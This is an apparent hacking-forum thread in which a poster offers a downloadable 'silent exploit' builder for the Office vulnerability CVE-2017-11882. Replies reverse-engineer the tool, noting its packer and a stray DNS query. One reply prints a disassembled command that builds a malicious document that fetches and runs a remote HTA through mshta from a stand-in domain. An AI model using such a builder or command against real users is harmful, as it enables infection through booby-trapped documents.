Silent Exploit( CVE-2017-11882 ) Builder by the-nightmare.com |
|
Dec 5, 2017 01:12 PM
(This post was last modified: Dec 14, 2017 12:37 AM by Eagle 95.)
Download [deleted] pass:the-nightmare important u need python 2.7 to be installed on C:\Python27 http://the-nightmare.com add me icq:716557549 skype:kareem.alex1
YAK_CODER
TELEGRAM  
Dec 8, 2017 02:52 AM
(This post was last modified: Dec 8, 2017 02:59 AM by CyberStrike.)
lol I swear some people ......
 (Dec 10, 2017 12:52 PM)05317832892 Wrote: Looks very suspicious but I will reverse this and decide if it's malicious. Please do, someone give this guy rep on my behalf. OP is it fud?
Ok I am going to say this is legit but use at your own risk and definitely don't use outside of a virtual machine.
What does it do? https://www.reverse.it/sample/d1661001c4...mentId=100 Well it appears to be just an exe wrapper that drops 2017-11882_Generator.py and executes it, it has not been modified as the sha256 is the same on github and hybrid and the one dropped in my tmp directory: https://github.com/BlackMathIT/2017-1188...nerator.py The exploit it builds does work however it is heavily detected (30+/50), it's worth noting that this CVE is very hard to obfuscate due to the nature of the exploit. So it works and does what is says on the tin but is it backdoored? Analysis of this sample was a bit tricky due to the packer Neolite being used. I attempted to unpack it with automated tools however the tools were not working, that's not anything to do with the exe, just I broke my unpacker and need to reinstall it. Instead I tried to manually unpack it at runtime but I gave up as my head hurts and I can't be fucked. Going over a few interesting things: 1) Packer - 2 options as to why, reduce file size or protect code, seeing as it just reuses public code from github I doubt it was used to protect the code, maybe it was used to reduce file size but you must also consider the possibility that is it to evade analysis. 2) Dropping x.bat to %tmp% - This is harmless, it just executes the .py 3) DNS query for pomf.cat - Had DNS sniffer open on my VM when I was investigating this and there was a query to pomf.cat, I was unable to replicate this later though so I cannot confirm if it is malicious although I'm pretty sure my snapshot was clean. 4) 1 Heuristic Detection - Probably just because of the packer, nothing to worry about My recommendations? Just run the script from github without all this packed exe bullshit.
[email protected] ...
@519f57: push 0051A158h ;cmd /c C:\Python27\python.exe dle.py -x "mshta @519f5c: lea edx, dword ptr [ebp-00000178h] @519f62: mov eax, dword ptr [ebp-04h] @519f65: mov eax, dword ptr [eax+0000031Ch] @519f6b: call 0043E8BCh @519f70: push dword ptr [ebp-00000178h] @519f76: push 0051A194h ;" -o usg.doc usg.doc, perhaps part of usgcrypter? cmd /c C:\Python27\python.exe dle.py -x "mshta hxxps://www.fuck.com/hta_file" -o usg.doc Possibly compromised site https://www.virustotal.com/#/domain/www.fuck.com Appears as though previously they were hosting malicious files. (Dec 10, 2017 01:07 PM)solononforeverreborn Wrote: Por favor, alguien le de a este chico representante en mi nombre. ¡NO! 😶 ![[Image: img.png]](https://viruscheckmate.com/image/q33xdtlI22Th/full/img.png)
(Dec 10, 2017 04:11 PM)DinamicoBoys Wrote: ¡NO! 😶  (Dec 10, 2017 03:34 PM)CyberStrike Wrote: [email protected] ... Fuck.com is the template domain. It’s not used and doesn’t actually host any malware. USG.doc is the malware it builds |
|
|
| Possibly Related Threads... | |||
| Thread / Author | Replies | Views | Last Post |
| by HelpedyousleepNov 30, 2024 02:24 PM | 2 | 396 |
Nov 30, 2024 02:24 PM Last Post: Helpedyousleep |
| by straw99Nov 16, 2023 08:47 AM | 4 | 734 |
Nov 16, 2023 08:47 AM Last Post: ruffanready |
| by scannereyefoxJul 8, 2023 12:51 AM | 10 | 470 |
Jul 8, 2023 12:51 AM Last Post: scannereyefox |
